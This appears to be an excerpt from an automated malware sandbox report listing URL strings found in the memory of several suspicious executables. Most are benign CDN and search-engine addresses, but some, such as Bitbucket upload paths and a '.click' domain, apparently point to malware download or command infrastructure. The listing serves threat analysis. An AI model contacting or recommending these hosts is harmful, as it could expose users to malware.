Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: I0XmI2t.exe, 0000002D.00000002.3808276534.00007FF6DBE61000.00000004.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: I0XmI2t.exe, 0000002D.00000002.3808276534.00007FF6DBE61000.00000004.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: I0XmI2t.exe, 0000002D.00000002.3808276534.00007FF6DBE61000.00000004.00000001.01000000.00000018.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 00000030.00000002.3551855195.00000143A53C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: I0XmI2t.exe, 0000002D.00000002.3802638122.000002B50DD4E000.00000004.00001000.00020000.00000000.sdmp, I0XmI2t.exe, 0000002D.00000002.3802638122.000002B50DCD6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/%
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/a48cbcec-690c-
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e
Source: legs.exe, 0000000C.00000003.2070257303.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fast
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/sticker
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modal8
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66E
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=u
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engl
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.c
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=eng
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: legs.exe, 0000000C.00000003.2070257303.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: Sale.com, 0000001B.00000003.3760927369.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3798169348.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.00000000017B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/
